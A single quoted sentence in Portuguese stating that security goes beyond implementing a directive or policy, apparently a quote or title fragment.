“Seguranca vai mais além de implementacao de diretiva”
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